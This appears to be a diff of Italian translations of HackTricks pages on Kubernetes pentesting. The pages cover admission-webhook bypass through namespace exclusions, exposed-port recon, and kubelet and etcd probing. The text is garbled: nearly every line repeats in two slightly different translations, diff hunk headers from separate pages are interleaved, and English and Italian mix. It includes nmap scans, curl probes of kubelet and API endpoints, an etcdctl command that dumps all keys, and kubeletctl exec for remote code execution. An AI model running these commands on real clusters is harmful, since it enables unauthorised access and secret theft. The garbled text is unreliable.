**Kyverno** e **Gatekeeper** sono entrambi Kubernetes policy engines che forniscono un framework per definire e applicare policy su un cluster.
**Kyverno** e **Gatekeeper** sono entrambi Kubernetes policy engines che forniscono un framework per definire e applicare policies in tutto un cluster.
Le exceptions si riferiscono a regole o condizioni specifiche che permettono di bypassare o modificare una policy in determinate circostanze, ma non è questo l'unico modo !
Le exceptions si riferiscono a regole o condizioni specifiche che consentono di bypassare o modificare una policy in determinate circostanze, ma questo non è l'unico modo !
Per **kyverno**, come si vede, dato che c'è una validating policy, il webhook `kyverno-resource-validating-webhook-cfg` viene popolato.
Per **kyverno**, quando esiste una validating policy, il webhook `kyverno-resource-validating-webhook-cfg` viene popolato.
Per Gatekeeper, c'è il file YAML `gatekeeper-validating-webhook-configuration`.
Per Gatekeeper, esiste il file YAML `gatekeeper-validating-webhook-configuration`.
Entrambi partono con valori predefiniti, ma i team Administrator potrebbero aver aggiornato questi 2 file.
Entrambi hanno valori di default, ma i team Administrator potrebbero aver aggiornato quei 2 file.
### Use Case
```bash
@@ -109,22 +130,22 @@ values:
- kube-system
- MYAPP
```
Qui, `kubernetes.io/metadata.name` si riferisce al label del nome del namespace. I namespace con nomi nella lista `values` saranno esclusi dalla policy:
Here, `kubernetes.io/metadata.name` si riferisce all'etichetta del nome del namespace. I namespace con nomi nella lista `values` saranno esclusi dalla policy:
Verifica l'esistenza dei namespace. A volte, a causa di automation o misconfiguration, alcuni namespace potrebbero non essere stati creati. Se hai il permesso di creare namespace, potresti creare un namespace con un nome nella lista `values` e le policy non si applicheranno al tuo nuovo namespace.
Check namespaces existence. A volte, a causa di automazione o misconfigurazione, alcuni namespace potrebbero non essere stati creati. Se hai il permesso di creare namespace, potresti creare un namespace con un nome nella lista `values` e le policy non si applicheranno al tuo nuovo namespace.
L'obiettivo di questo attacco è sfruttare la **misconfiguration** all'interno di VWC per bypassare le restrizioni degli operatori e poi elevare i tuoi privilegi con altre tecniche
L'obiettivo di questo attack è sfruttare la **misconfiguration** all'interno di VWC per bypassare le restrizioni degli operator e poi elevare i tuoi privilegi con altre tecniche
Altri pattern comuni di bypass o abuse:
Altri pattern comuni di bypass o abuso:
- Un `objectSelector` che permette agli utenti di aggiungere un label opt-out ai propri oggetti.
- `failurePolicy: Ignore` su validazione security-critical, specialmente quando il webhook Service non ha endpoints o il networking è unreliable.
- Un `objectSelector` che consente agli utenti di aggiungere un'etichetta opt-out ai propri oggetti.
- `failurePolicy: Ignore` su validazione security-critical, specialmente quando il webhook Service non ha endpoint o la rete è inaffidabile.
- Eccezioni del policy engine per users, groups, service accounts, namespaces o roles più ampie del previsto.
- Copertura mancante per template di workload controller, `pods/ephemeralcontainers`, `pods/exec`, custom resources o operazioni di update.
- Accesso in scrittura a `validatingwebhookconfigurations`, `mutatingwebhookconfigurations`, restrizioni di Gatekeeper, policy di Kyverno o risorse di eccezione.
- Un mutating webhook malevolo che inietta containers, cambia immagini, monta secrets, aggiunge tolerations o modifica la selezione del service account prima della validation.
- Copertura mancante per i template dei workload controller, `pods/ephemeralcontainers`, `pods/exec`, custom resources o operazioni di update.
- Accesso in scrittura a `validatingwebhookconfigurations`, `mutatingwebhookconfigurations`, Gatekeeper constraints, Kyverno policies o exception resources.
- Un mutating webhook malevolo che inietta container, cambia immagini, monta secrets, aggiunge tolerations o cambia la selezione del service account prima della validazione.
Ricorda che admission protegge solo le richieste che passano attraverso la catena di admission dell'API server. Static Pods, accesso al runtime socket locale del node, abuso diretto di kubelet e accesso diretto a etcd sono diversi trust paths e richiedono hardening e monitoring separati.
Ricorda che admission protegge solo le richieste che passano attraverso la chain di admission dell'API server. Static Pods, accesso al runtime socket locale del nodo, abuso diretto di kubelet e accesso diretto a etcd sono percorsi di trust diversi e richiedono hardening e monitoring separati.
{{#ref}}
abusing-roles-clusterroles-in-kubernetes/
@@ -137,6 +158,8 @@ abusing-roles-clusterroles-in-kubernetes/
- [https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/](https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/)
- [https://kubernetes.io/docs/concepts/cluster-administration/admission-webhooks-good-practices/](https://kubernetes.io/docs/concepts/cluster-administration/admission-webhooks-good-practices/)
- [https://kubernetes.io/docs/reference/access-authn-authz/validating-admission-policy/](https://kubernetes.io/docs/reference/access-authn-authz/validating-admission-policy/)
- [https://kubernetes.io/docs/reference/access-authn-authz/mutating-admission-policy/](https://kubernetes.io/docs/reference/access-authn-authz/mutating-admission-policy/)
- [https://kubernetes.io/docs/reference/using-api/cel/](https://kubernetes.io/docs/reference/using-api/cel/)
@@ -2,7 +2,7 @@
{{#include ../../../banners/hacktricks-training.md}}
Kubernetes usa diversi **servizi di rete specifici** che potresti trovare **esposti a Internet** o in una **rete interna una volta compromesso un pod**.
Kubernetes usa diversi **servizi di rete specifici** che potresti trovare **esposti a Internet** oppure in una **rete interna una volta che hai compromesso un pod**.
## Finding exposed pods with OSINT
@@ -10,17 +10,17 @@ Un modo potrebbe essere cercare `Identity LIKE "k8s.%.com"` in [crt.sh](https://
Useful external recon signals to correlate before scanning:
- Nomi DNS e di certificate transparency contenenti `k8s`, `kube`, `api`, `apiserver`, `eks`, `gke`, `aks`, `cluster`, `ingress`, `argocd`, `grafana`, `prometheus`, `harbor`, `registry`, `dashboard`, `dev`, `stage`, o nomi di regioni.
- Nomi di cloud load balancer, CNAME, tag e hostname del provider che possono collegare un'applicazione esposta o la UI della piattaforma a un cluster.
- Repository pubblici, log CI, valori Helm, stato Terraform, manifest renderizzati, immagini container e documentazione che rivelano kubeconfig, URL del API server, namespaces, service accounts, `type: LoadBalancer`, `type: NodePort`, host Ingress, listener Gateway o impostazioni dashboard.
- Inventario Kubernetes gestito, quando le credenziali cloud rientrano nello scope: accesso pubblico/privato all'endpoint EKS e CIDR pubblici, impostazioni public/private del control-plane GKE e authorized networks, e impostazioni private cluster/API server authorized IP di AKS.
- Strumenti di piattaforma esposti attorno al cluster come Argo CD, Prometheus, Grafana, Harbor, registries, dashboard CI/CD, service mesh dashboard e endpoint admin o metrics dell'ingress-controller.
- DNS and certificate transparency names containing `k8s`, `kube`, `api`, `apiserver`, `eks`, `gke`, `aks`, `cluster`, `ingress`, `argocd`, `grafana`, `prometheus`, `harbor`, `registry`, `dashboard`, `dev`, `stage`, or region names.
- Cloud load balancer names, CNAMEs, tags, and provider hostnames that can link an exposed application or platform UI back to a cluster.
- Public repositories, CI logs, Helm values, Terraform state, rendered manifests, container images, and documentation leaking kubeconfigs, API server URLs, namespaces, service accounts, `type: LoadBalancer`, `type: NodePort`, Ingress hosts, Gateway listeners, or dashboard settings.
- Managed Kubernetes inventory, when cloud credentials are in scope: EKS endpoint public/private access and public CIDRs, GKE public/private control-plane settings and authorized networks, and AKS private cluster/API server authorized IP settings.
- Exposed platform tools around the cluster such as Argo CD, Prometheus, Grafana, Harbor, registries, CI/CD dashboards, service mesh dashboards, and ingress-controller admin or metrics endpoints.
Considerali come indizi di attribuzione e priorità. Un'applicazione Ingress pubblica è normale in molti cluster, mentre kubelet, etcd, dashboard, controllo di deploy CI/CD o materiale kubeconfig leaked esposti dovrebbero avere priorità molto più alta.
Treat these as attribution and prioritization clues. A public Ingress application is normal in many clusters, while exposed kubelet, etcd, dashboard, CI/CD deploy control, or leaked kubeconfig material should be prioritized much higher.
## How Kubernetes Exposes Services
Potrebbe esserti utile capire come Kubernetes può **esporre i servizi pubblicamente** per trovarli:
Potrebbe esserti utile capire come Kubernetes può **esporre pubblicamente i servizi** per trovarli:
{{#ref}}
../exposing-services-in-kubernetes.md
@@ -32,20 +32,20 @@ Le seguenti porte potrebbero essere aperte in un cluster Kubernetes:
| Port | Process | Description |
| --------------- | -------------- | ---------------------------------------------------------------------- |
| 443/TCP | kube-apiserver | Porta API di Kubernetes |
| 443/TCP | kube-apiserver | Kubernetes API port |
| 2379/TCP | etcd | |
| 6666/TCP | etcd | etcd |
| 4194/TCP | cAdvisor | Metriche dei container |
| 6443/TCP | kube-apiserver | Porta API di Kubernetes |
| 8443/TCP | kube-apiserver | Porta API di Minikube |
| 8080/TCP | kube-apiserver | Porta API non sicura |
| 10250/TCP | kubelet | API HTTPS che consente accesso in full mode |
| 10255/TCP | kubelet | Porta HTTP read-only non autenticata: pods, pod in esecuzione e stato del nodo |
| 10256/TCP | kube-proxy | Server di health check di Kube Proxy |
| 9099/TCP | calico-felix | Server di health check per Calico |
| 6782-4/TCP | weave | Metriche ed endpoint |
| 30000-32767/TCP | NodePort | Proxy verso i servizi |
| 44134/TCP | Tiller | Servizio Helm in ascolto |
| 4194/TCP | cAdvisor | Container metrics |
| 6443/TCP | kube-apiserver | Kubernetes API port |
| 8443/TCP | kube-apiserver | Minikube API port |
| 8080/TCP | kube-apiserver | Insecure API port |
| 10250/TCP | kubelet | HTTPS API which allows full mode access |
| 10255/TCP | kubelet | Unauthenticated read-only HTTP port: pods, running pods and node state |
| 10256/TCP | kube-proxy | Kube Proxy health check server |
| 9099/TCP | calico-felix | Health check server for Calico |
| 6782-4/TCP | weave | Metrics and endpoints |
| 30000-32767/TCP | NodePort | Proxy to the services |
| 44134/TCP | Tiller | Helm service listening |
### Nmap
```bash
@@ -53,7 +53,7 @@ nmap -n -T4 -p 443,2379,6666,4194,6443,8443,8080,10250,10255,10256,9099,6782-678
```
### Kube-apiserver
Questo è il **servizio API Kubernetes** con cui gli amministratori interagiscono di solito usando lo strumento **`kubectl`**.
Questo è il **servizio API di Kubernetes** con cui gli amministratori interagiscono di solito usando il tool **`kubectl`**.
**Porte comuni: 6443 e 443**, ma anche 8443 in minikube e 8080 come insecure.
```bash
@@ -61,7 +61,7 @@ curl -k https://<IP Address>:(8|6)443/swaggerapi
curl -k https://<IP Address>:(8|6)443/healthz
curl -k https://<IP Address>:(8|6)443/api/v1
```
**Controlla la seguente pagina per imparare come ottenere dati sensibili ed eseguire azioni sensibili parlando con questo servizio:**
**Controlla la seguente pagina per imparare come ottenere dati sensibili ed eseguire azioni sensibili comunicando con questo servizio:**
{{#ref}}
../kubernetes-enumeration.md
@@ -69,9 +69,9 @@ curl -k https://<IP Address>:(8|6)443/api/v1
### Kubelet API
Questo servizio **gira in ogni nodo del cluster**. È il servizio che **controlla** i pod all'interno del **nodo**. Comunica con il **kube-apiserver**.
Questo servizio **gira in ogni node del cluster**. È il servizio che **controllerà** i pod all'interno del **node**. Comunica con il **kube-apiserver**.
Se trovi questo servizio esposto potresti aver trovato una **RCE non autenticata**.
Se trovi questo servizio esposto, potresti aver trovato una **RCE non autenticata**.
#### Kubelet API
```bash
@@ -80,7 +80,7 @@ curl -k https://<IP address>:10250/pods
```
Se la risposta è `Unauthorized`, allora richiede autenticazione.
Se puoi elencare i nodi, puoi ottenere un elenco degli endpoint kubelets con:
Se puoi elencare i nodi, puoi ottenere una lista degli endpoint di kubelets con:
```bash
kubectl get nodes -o custom-columns='IP:.status.addresses[0].address,KUBELET_PORT:.status.daemonEndpoints.kubeletEndpoint.Port' | grep -v KUBELET_PORT | while IFS='' read -r node; do
ip=$(echo $node | awk '{print $1}')
@@ -94,7 +94,7 @@ done
curl -k https://<IP Address>:10255
http://<external-IP>:10255/pods
```
### API etcd
### etcd API
```bash
curl -k https://<IP address>:2379
curl -k https://<IP address>:2379/version
@@ -104,7 +104,7 @@ etcdctl --endpoints=http://<MASTER-IP>:2379 get / --prefix --keys-only
```bash
helm --host tiller-deploy.kube-system:44134 version
```
Potresti abusare di questo service per elevare i privilegi all'interno di Kubernetes:
Potresti abusare di questo servizio per elevare i privilegi all'interno di Kubernetes:
### cAdvisor
@@ -114,15 +114,15 @@ curl -k https://<IP Address>:4194
```
### NodePort
Quando una porta è esposta in tutti i nodi tramite un **NodePort**, la stessa porta viene aperta in tutti i nodi, proxyando il traffico verso il **Service** dichiarato. Per impostazione predefinita, questa porta sarà nell**intervallo 30000-32767**. Quindi nuovi servizi non verificati potrebbero essere accessibili tramite quelle porte.
Quando una porta è esposta in tutti i nodi tramite un **NodePort**, la stessa porta viene aperta in tutti i nodi, proxyando il traffico verso il **Service** dichiarato. Per impostazione predefinita questa porta sarà nell'**intervallo 30000-32767**. Quindi nuovi servizi non verificati potrebbero essere accessibili tramite quelle porte.
```bash
sudo nmap -sS -p 30000-32767 <IP>
```
### Service mesh e proxy surfaces
I cluster che usano **Istio, Linkerd, Cilium service mesh, or Envoy-based gateways** aggiungono un altro layer di servizi da enumerare. Un mesh può fornire mTLS, workload identity, L7 routing, authorization policy, telemetry, e gateway/egress controls, ma protegge solo il traffico che è effettivamente registrato e intercettato dal mesh.
I cluster che usano **Istio, Linkerd, Cilium service mesh, o gateway basati su Envoy** aggiungono un altro livello di servizio da enumerare. Un mesh può fornire mTLS, workload identity, routing L7, policy di autorizzazione, telemetry, e controlli gateway/egress, ma protegge solo il traffico che è effettivamente registrato e intercettato dal mesh.
Controlli utili dall'accesso Kubernetes:
Controlli utili dall'accesso a Kubernetes:
```bash
kubectl get ns --show-labels | egrep 'istio|linkerd|mesh|cilium'
kubectl get crd | egrep 'istio.io|linkerd.io|gateway.networking.k8s.io|cilium.io'
@@ -130,28 +130,38 @@ kubectl get mutatingwebhookconfiguration,validatingwebhookconfiguration | egrep
kubectl get pods -A -o custom-columns='NS:.metadata.namespace,NAME:.metadata.name,SA:.spec.serviceAccountName,CONTAINERS:.spec.containers[*].name'
kubectl get svc -A | egrep 'istio|envoy|linkerd|kiali|jaeger|prometheus|grafana|zipkin|hubble'
```
Review:
Recensione:
- Namespace o workload che hanno scelto di non usare injection, continuano a girare senza proxy, o sono stati creati prima che linjection fosse abilitata.
- mTLS mode. I permissive migration modes possono ancora accettare plaintext da fonti non meshed.
- Istio `PeerAuthentication`, `AuthorizationPolicy`, `RequestAuthentication`, gateways, waypoints, e egress resources.
- Linkerd policy resources, identity, Server/authorization objects, e superfici esposte `linkerd-viz`, tap, o metrics.
- Cilium service mesh e Gateway API resources, Hubble visibility, Cilium policies, e punti di integrazione Envoy.
- Envoy admin, config dump, stats, metrics, tracing, dashboard, e debug endpoints. Questi possono leak routes, upstreams, certificates, identity, e traffic state se esposti troppo ampiamente.
- Namespace o workload che hanno rinunciato allinjection, eseguono ancora senza proxy, o sono stati creati prima che linjection fosse abilitata.
- Modalità mTLS. Le modalità di migrazione permissive possono ancora accettare plaintext da sorgenti non meshed.
- Istio `PeerAuthentication`, `AuthorizationPolicy`, `RequestAuthentication`, gateway, waypoint e risorse egress.
- Risorse policy di Linkerd, identity, oggetti Server/authorization e superfici esposte `linkerd-viz`, tap o metrics.
- Cilium service mesh e risorse Gateway API, visibilità Hubble, policy Cilium e punti di integrazione Envoy.
- Envoy admin, config dump, stats, metrics, tracing, dashboard e endpoint debug. Questi possono leak route, upstream, certificati, identity e stato del traffico se esposti in modo troppo ampio.
Non trattare il service mesh come sostituto di Kubernetes RBAC o NetworkPolicies. Una mesh policy può bloccare una HTTP request mentre un Pod non meshed, una porta saltata, un percorso diretto via Pod IP, un gateway, un egress proxy, o una NetworkPolicy mancante lasciano comunque un percorso praticabile.
Non considerare il service mesh come sostituto di Kubernetes RBAC o NetworkPolicies. Una mesh policy può bloccare una richiesta HTTP mentre un Pod non meshed, una porta saltata, un path diretto tramite Pod IP, un gateway, un egress proxy o una NetworkPolicy mancante lasciano comunque un percorso praticabile.
## Vulnerable Misconfigurations
### Kube-apiserver Anonymous Access
Anonymous access agli endpoint API di **kube-apiserver non è consentito**. Ma potresti controllare alcuni endpoint:
Laccesso anonimo alle API di risorse di **kube-apiserver non dovrebbe essere consentito**. Gli endpoint di health come `/livez`, `/readyz` e `/healthz` possono essere intenzionalmente raggiungibili, soprattutto quando lAPI server usa `AuthenticationConfiguration` per limitare le richieste anonime a specifici path. Considera le risposte di health o version come prova di raggiungibilità; il problema critico è una risposta `200` per vere API di risorse come namespaces, Secrets, Pods, oggetti RBAC, metrics, logs o sottorisorse proxy senza credenziali valide.
![Kubernetes API server anonymous access output listing exposed API paths](https://www.cyberark.com/wp-content/uploads/2019/09/Kube-Pen-2-fig-5.png)
### **Checking for ETCD Anonymous Access**
Controlli utili:
```bash
APISERVER='https://<api-server>:6443'
curl -sk -o /dev/null -w 'livez=%{http_code}\n' "$APISERVER/livez"
curl -sk -o /dev/null -w 'readyz=%{http_code}\n' "$APISERVER/readyz"
curl -sk -o /dev/null -w 'namespaces=%{http_code}\n' "$APISERVER/api/v1/namespaces"
curl -sk -o /dev/null -w 'clusterroles=%{http_code}\n' "$APISERVER/apis/rbac.authorization.k8s.io/v1/clusterroles"
```
Se le resource API restituiscono `403`, l'API server potrebbe aver classificato la richiesta come `system:anonymous` ma l'autorizzazione l'ha bloccata. Se le resource API restituiscono `200` senza credenziali, cerca RoleBindings o ClusterRoleBindings verso `system:anonymous` o `system:unauthenticated`, una configurazione permissiva di authorizer-chain oppure un errore di autenticazione front-door.
ETCD conserva i secrets del cluster, i file di configurazione e altri dati **sensibili**. **Di default**, ETCD **non** può essere accesso **anonimamente**, ma è sempre bene controllare.
### **Verifica dell'Accesso Anonimo a ETCD**
ETCD memorizza i secret del cluster, i file di configurazione e altri dati **sensibili**. **Per default**, ETCD **non** può essere accesso **anonimamente**, ma è sempre bene controllare.
Se ETCD può essere accesso anonimamente, potresti dover **usare il** [**etcdctl**](https://github.com/etcd-io/etcd/blob/master/etcdctl/READMEv2.md) **tool**. Il seguente comando recupererà tutte le chiavi memorizzate:
```bash
@@ -159,17 +169,17 @@ etcdctl --endpoints=http://<MASTER-IP>:2379 get / --prefix --keys-only
```
### **Kubelet RCE**
La [**Kubelet documentation**](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet/) spiega che per **default anonymous acce**ss al servizio è **consentito:**
La [**Kubelet documentation**](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet/) spiega che, **di default, l'accesso anonimo** al servizio è **consentito:**
> Abilita richieste anonime al server Kubelet. Le richieste che non vengono rifiutate da un altro metodo di autenticazione sono trattate come richieste anonime. Le richieste anonime hanno un username di `system:anonymous`, e un group name di `system:unauthenticated`
> Abilita richieste anonime al server Kubelet. Le richieste che non vengono rifiutate da un altro metodo di autenticazione sono trattate come richieste anonime. Le richieste anonime hanno un username `system:anonymous` e un group name `system:unauthenticated`
Per capire meglio come funziona **authentication and authorization of the Kubelet API** consulta questa pagina:
Per capire meglio come funziona **l'autenticazione e l'autorizzazione dell'API Kubelet** controlla questa pagina:
{{#ref}}
kubelet-authentication-and-authorization.md
{{#endref}}
Il servizio **Kubelet** **API is not documented**, ma il source code si può trovare qui e trovare gli endpoint esposti è semplice come **running**:
Il servizio **Kubelet** **API non è documentato**, ma il codice sorgente può essere trovato qui e individuare gli endpoint esposti è facile come **eseguire**:
```bash
curl -s https://raw.githubusercontent.com/kubernetes/kubernetes/master/pkg/kubelet/server/server.go | grep 'Path("/'
@@ -181,9 +191,9 @@ Path("/portForward")
Path("/containerLogs")
Path("/runningpods/").
```
Tutti sembrano interessanti.
Sembrano interessanti tutti.
Puoi usare il tool [**Kubeletctl**](https://github.com/cyberark/kubeletctl) per interagire con i Kubelet e i loro endpoint.
Puoi usare lo strumento [**Kubeletctl**](https://github.com/cyberark/kubeletctl) per interagire con i Kubelets e i loro endpoint.
#### /pods
@@ -198,13 +208,13 @@ Questo endpoint consente di eseguire codice all'interno di qualsiasi container m
kubeletctl exec [command]
```
> [!NOTE]
> Per evitare questo attacco il servizio _**kubelet**_ dovrebbe essere eseguito con `--anonymous-auth false` e il servizio dovrebbe essere segregato a livello di rete.
> Per evitare questo attack il servizio _**kubelet**_ should be run con `--anonymous-auth false` e il servizio dovrebbe essere segregato a livello di network.
### **Controllo dell'esposizione delle informazioni del Kubelet (Read Only Port)**
### **Checking Kubelet (Read Only Port) Information Exposure**
Quando un **kubelet read-only port** è esposto, diventa possibile per parti non autorizzate recuperare informazioni dall'API. L'esposizione di questo port può portare alla divulgazione di vari **elementi di configurazione del cluster**. Sebbene le informazioni, inclusi **i nomi dei pod, le posizioni dei file interni e altre configurazioni**, non siano critiche, la loro esposizione rappresenta comunque un rischio per la sicurezza e dovrebbe essere evitata.
Quando un **kubelet read-only port** è exposed, diventa possibile recuperare information dall'API da parte di parti non autorizzate. L'exposure di questo port può portare alla disclosure di vari **cluster configuration elements**. Anche se le information, inclusi **pod names, locations of internal files, and other configurations**, potrebbero non essere critical, la loro exposure rappresenta comunque un security risk e dovrebbe essere avoided.
Un esempio di come questa vulnerabilità può essere sfruttata prevede che un attaccante remoto acceda a un URL specifico. Navigando su `http://<external-IP>:10255/pods`, l'attaccante può potenzialmente recuperare informazioni sensibili dal kubelet:
Un esempio di come questa vulnerability può essere exploited prevede che un remote attacker acceda a un URL specifico. Navigando su `http://<external-IP>:10255/pods`, l'attacker può potenzialmente recuperare sensitive information dal kubelet:
![Kubelet read-only port response exposing pod information](https://www.cyberark.com/wp-content/uploads/2019/09/KUbe-Pen-2-fig-6.png)
@@ -1,23 +1,23 @@
# Kubelet Autenticazione e Autorizzazione
# Kubelet Authentication & Authorization
{{#include ../../../banners/hacktricks-training.md}}
## Kubelet Autenticazione <a href="#kubelet-authentication" id="kubelet-authentication"></a>
## Kubelet Authentication <a href="#kubelet-authentication" id="kubelet-authentication"></a>
[**From the docss:**](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/)
[**Dalla docss:**](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/)
Per impostazione predefinita, le richieste all'endpoint HTTPS del kubelet che non vengono respinte da altri metodi di autenticazione configurati sono trattate come richieste anonime e ricevono un **nome utente `system:anonymous`** e un **gruppo `system:unauthenticated`**.
Per impostazione predefinita, le richieste all'endpoint HTTPS del kubelet che non vengono rifiutate dagli altri metodi di autenticazione configurati sono trattate come richieste anonime, e ricevono un **username di `system:anonymous`** e un **gruppo di `system:unauthenticated`**.
I **3** metodi di **autenticazione** sono:
I **3** **metodi** di autenticazione sono:
- **Anonymous** (default): impostare il parametro **`--anonymous-auth=true`** o la configurazione:
- **Anonymous** (default): Usa imposta il parametro **`--anonymous-auth=true` o la config:**
```json
"authentication": {
"anonymous": {
"enabled": true
},
```
- **Webhook**: Questo abiliterà i kubectl **API bearer tokens** come autorizzazione (qualsiasi token valido sarà valido). Abilitalo con:
- **Webhook**: Questo **abiliterà** i kubectl **API bearer tokens** come authorization (qualsiasi token valido sarà valido). Consenti con:
- assicurati che il gruppo API `authentication.k8s.io/v1beta1` sia abilitato nell'API server
- avvia il kubelet con i flag **`--authentication-token-webhook`** e **`--kubeconfig`** oppure usa la seguente impostazione:
```json
@@ -28,10 +28,11 @@ I **3** metodi di **autenticazione** sono:
},
```
> [!NOTE]
> Il kubelet chiama la **`TokenReview` API** sull'API server configurato per **determinare le informazioni sull'utente** dai bearer tokens
> Il kubelet chiama la **`TokenReview` API** sul API server configurato per **determinare le informazioni dell'utente** dai bearer tokens
- **X509 client certificates:** Consentono di autenticarsi tramite X509 client certs
- vedi la [apiserver authentication documentation](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#x509-client-certs) per maggiori dettagli
- avvia il kubelet con il flag `--client-ca-file`, fornendo un CA bundle per verificare i certificati client. Oppure con la config:
- avvia il kubelet con il flag `--client-ca-file`, fornendo un CA bundle per verificare i client certificates. Oppure con la config:
```json
"authentication": {
"x509": {
@@ -39,16 +40,16 @@ I **3** metodi di **autenticazione** sono:
}
}
```
## Autorizzazione Kubelet <a href="#kubelet-authentication" id="kubelet-authentication"></a>
## Kubelet Authorization <a href="#kubelet-authentication" id="kubelet-authentication"></a>
Qualsiasi richiesta che venga autenticata con successo (inclusa una richiesta anonima) **viene quindi autorizzata**. La modalità di autorizzazione **di default** è **`AlwaysAllow`**, che **consente tutte le richieste**.
Qualsiasi richiesta che viene autenticata con successo (inclusa una richiesta anonima) **viene poi autorizzata**. La modalità di autorizzazione **predefinita** è **`AlwaysAllow`**, che **consente tutte le richieste**.
Tuttavia, l'altro valore possibile è **`webhook`** (che è quello che **troverai più spesso**). Questa modalità **verifica i permessi dell'utente autenticato** per consentire o negare un'azione.
Tuttavia, laltro valore possibile è **`webhook`** (che è ciò che **troverai più spesso**). Questa modalità **verificherà i permessi dellutente autenticato** per consentire o negare unazione.
> [!WARNING]
> Nota che anche se l'**autenticazione anonima è abilitata**, l'**accesso anonimo** potrebbe **non avere permessi** per eseguire alcuna azione.
> Nota che anche se l**anonymous authentication** è abilitata, l**anonymous access** potrebbe **non avere alcun permesso** per eseguire alcuna azione.
L'autorizzazione tramite webhook può essere configurata usando il **parametro `--authorization-mode=Webhook`** o tramite il file di configurazione con:
Lautorizzazione tramite webhook può essere configurata usando il **param `--authorization-mode=Webhook`** oppure tramite il file di configurazione con:
```json
"authorization": {
"mode": "Webhook",
@@ -58,11 +59,11 @@ L'autorizzazione tramite webhook può essere configurata usando il **parametro `
}
},
```
Il kubelet invoca l'API **`SubjectAccessReview`** sull'API server configurato per **determinare** se ogni richiesta è **autorizzata.**
Il kubelet chiama lAPI **`SubjectAccessReview`** sul server API configurato per **determinare** se ogni richiesta è **autorizzata.**
Il kubelet autorizza le richieste API usando lo stesso approccio [request attributes](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#review-your-request-attributes) dell'apiserver:
Il kubelet autorizza le richieste API usando lo stesso approccio dei [request attributes](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#review-your-request-attributes) dellapiserver:
- **Azione**
- **Action**
| HTTP verb | request verb |
| --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------- |
@@ -72,7 +73,7 @@ Il kubelet autorizza le richieste API usando lo stesso approccio [request attrib
| PATCH | patch |
| DELETE | delete (for individual resources), deletecollection (for collections) |
- La **resource** che parla con la Kubelet API è **sempre** **nodes** e la **subresource** è **determinata** dal percorso della richiesta in ingresso:
- La **resource** che parla con la Kubelet api è **sempre** **nodes** e il **subresource** viene **determinato** dal path della richiesta in ingresso:
| Kubelet API | resource | subresource |
| ------------ | -------- | ----------- |
@@ -80,23 +81,38 @@ Il kubelet autorizza le richieste API usando lo stesso approccio [request attrib
| /metrics/\* | nodes | metrics |
| /logs/\* | nodes | log |
| /spec/\* | nodes | spec |
| /checkpoint/\* | nodes | checkpoint |
| _all others_ | nodes | proxy |
> [!NOTE]
> Le connessioni WebSocket basate su `/exec`, `/run`, `/attach`, e `/portforward` rientrano nella subresource predefinita **proxy** e sono autorizzate usando la stretta di mano HTTP **GET** iniziale. Un principal con solo `nodes/proxy` **GET** può comunque eseguire exec sui container se si connette direttamente a `https://<node_ip>:10250` tramite WebSockets. Vedi la [nodes/proxy GET -> Kubelet /exec verb confusion abuse](../abusing-roles-clusterroles-in-kubernetes/README.md#nodesproxy-get---kubelet-exec-via-websocket-verb-confusion) per i dettagli.
Nei cluster moderni, la kubelet authorization a granularità fine è abilitata per default. Kubernetes v1.36 lha resa stabile: kubelet prima verifica subresource più specifici per path come `/pods`, `/runningPods`, `/healthz`, e `/configz` prima di fare fallback su `nodes/proxy` per compatibilità retroattiva.
Ad esempio, la seguente richiesta ha tentato di accedere alle informazioni dei pods del kubelet senza autorizzazione:
| Kubelet API | preferred subresource | fallback |
| ----------- | --------------------- | -------- |
| /pods | nodes/pods | nodes/proxy |
| /runningPods/ | nodes/pods | nodes/proxy |
| /healthz | nodes/healthz | nodes/proxy |
| /configz | nodes/configz | nodes/proxy |
Usa questi subresource più ristretti per monitoring e diagnostics quando possibile. Evita di concedere `nodes/proxy` in modo ampio per normali metrics, stats, health, listing dei pod, o review della config perché `nodes/proxy` copre ancora API kubelet di impatto maggiore.
> [!NOTE]
> `/exec`, `/run`, `/attach`, e `/portforward` basati su WebSocket rientrano nel subresource **proxy** predefinito e vengono autorizzati usando il handshake HTTP iniziale **GET**. Un principal con solo `nodes/proxy` **GET** può comunque eseguire `exec` nei container se si connette direttamente a `https://<node_ip>:10250` tramite WebSockets. Vedi [nodes/proxy GET -> Kubelet /exec verb confusion abuse](../abusing-roles-clusterroles-in-kubernetes/README.md#nodesproxy-get---kubelet-exec-via-websocket-verb-confusion) per i dettagli.
La Kubelet Checkpoint API (`POST /checkpoint/<namespace>/<pod>/<container>`) è un altro surface sensibile del kubelet. Kubernetes v1.30 ha reso il container checkpointing beta e abilitato di default, ma una richiesta dipende comunque dallautorizzazione kubelet e dal supporto del runtime come CRI-O o containerd con capacità checkpoint/CRIU. I checkpoint riusciti vengono scritti sotto la directory root del kubelet, per default `/var/lib/kubelet/checkpoints`, e possono contenere memoria di processo con token, chiavi o secret dellapplicazione. Limita `nodes/checkpoint`, disabilita la vecchia read-only port, limita la reachability diretta di rete verso kubelet, e monitora o pulisci gli archivi dei checkpoint se la feature viene usata intenzionalmente.
Per esempio, la seguente richiesta ha provato ad accedere alle info dei pod di kubelet senza permesso:
```bash
curl -k --header "Authorization: Bearer ${TOKEN}" 'https://172.31.28.172:10250/pods'
Forbidden (user=system:node:ip-172-31-28-172.ec2.internal, verb=get, resource=nodes, subresource=proxy)
```
- Abbiamo ottenuto un **Forbidden**, quindi la richiesta **passed the Authentication check**. Altrimenti, avremmo ricevuto solo un messaggio `Unauthorised`.
- Possiamo vedere il **username** (in questo caso dal token)
- Nota come la **resource** fosse **nodes** e la **subresource** **proxy** (il che è coerente con le informazioni precedenti)
- Abbiamo ottenuto un **Forbidden**, quindi la richiesta ha **superato il controllo di Authentication**. Se così non fosse, avremmo avuto solo un messaggio `Unauthorised`.
- Possiamo vedere lo **username** (in questo caso dal token)
- Controlla come la **resource** era **nodes** e la **subresource** **proxy** (che ha senso con le informazioni precedenti)
## Riferimenti
## References
- [https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/)
